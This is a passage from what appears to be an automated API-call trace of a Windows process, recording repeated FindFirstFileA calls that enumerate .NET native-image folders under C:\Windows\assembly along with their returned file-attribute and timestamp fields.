ftLastAccessTime.dwLowDateTime=0x120329a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x120329a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.412] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Te3736ca4#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2ac3b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12058b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12058b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.417] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Te3736ca4#\\512c2472f805f001d3c4f02c27c62e7e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2ac3b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12058b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12058b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.423] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Te49ad7d9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ae5bbd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12058b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12058b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.428] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Te49ad7d9#\\8edf6e3bdb552e65cab22ca4d1148cf6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ae5bbd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1207ec60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1207ec60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.438] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V1955d7fd#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80dc5360, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x1207ec60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1207ec60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.444] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V1955d7fd#\\944e1014ef0bc1b6df2f9bbc2c0b41dd\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80dc5360, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x120a4dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x120a4dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.450] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V28a60cc2#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814e9560, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x120a4dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x120a4dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.456] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V28a60cc2#\\cf10ec315ea94a0467920d4176ebe0a0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814e9560, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x120caf20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x120caf20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.462] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V4381984f#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d44ba70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x120caf20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x120caf20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.468] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V4381984f#\\7478cb90dd3481760bd5eb7d04862935\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d44ba70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x120caf20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x120caf20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.473] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V5499e76b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x816401c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x120f1080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x120f1080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.478] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V5499e76b#\\33f8b18ad2eaebc19c42fec792143c6a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x816401c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x120f1080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x120f1080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.483] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V883708cb#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80844080, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x120f1080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x120f1080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.489] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V883708cb#\\5d39bc19f40aaa66053eaa1dabcc3a06\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80844080, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x121171e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x121171e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.494] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V9921e851#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bf9db50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x121171e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x121171e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.500] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V9921e851#\\0fe7d8efc42d59706fc969c7073faa21\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bf9db50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x121171e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x121171e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.505] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vb0a86591#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d178050, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1213d340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1213d340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.511] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vb0a86591#\\cd4f1bdff590be7148008127c8afd779\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d178050, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1213d340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1213d340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.516] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vf4833439#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c603670, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1213d340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1213d340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.521] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vf4833439#\\a9f18881e3a0b48ecf94063a0ed8e137\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c603670, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x121634a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x121634a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.526] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vf9a08577#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80713580, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x121634a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x121634a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.531] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vf9a08577#\\b30a8085dc12494ca346f91b3e0d070e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80713580, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x121634a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x121634a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.537] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vff41975e#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81157460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x12189600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12189600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.542] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vff41975e#\\2b3f56e5fd9e3b009442a42162bd3f7f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81157460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x12189600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12189600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.547] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.VisualC\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d5302b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12189600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12189600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.552] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.VisualC\\484a06191d41e209cb7527d5fe991b5e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d5302b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x121af760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x121af760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.558] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.W71daf281#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d9f2eb0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x121af760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x121af760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.562] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.W71daf281#\\18e1dbb4d094e45ddd251eafa3743d9e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d9f2eb0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x121af760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x121af760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.570] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\MSBuild\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fd51790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x121d58c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x121d58c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.576] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\MSBuild\\429eaf12731314ca0cab92f0da677daf\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fd51790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x121d58c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x121d58c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.582] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf617d1e0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x121fba20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x121fba20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.743] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\70690ed034c632a010f791ea65e40064\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8516ff60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x123787e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x123787e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.913] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio080b339b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e410c30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1251b700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1251b700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.919] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio080b339b#\\b3200d022d5719267e55b4362dc991fa\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e436d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1251b700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1251b700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.924] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio1c9175f8#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e3ce7d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12541860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12541860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.930] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio1c9175f8#\\83d1d73517dad581da8d8ddf7522cc0d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e3ce7d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12541860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12541860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.935] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio1c968d57#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6edc63f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12541860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12541860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.940] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio1c968d57#\\e05290b5ff595f2340bd492053b0cb13\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6edc63f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x125679c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x125679c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.946] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio1da2af67#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dcaa5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x125679c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x125679c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.951] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio1da2af67#\\32e7f7b528d08ef27c0d480cc84fd53b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dcaa5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x125679c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x125679c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.958] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio49d6fefe#\\*", lpFindFileData=0x4ab3c8 | out: 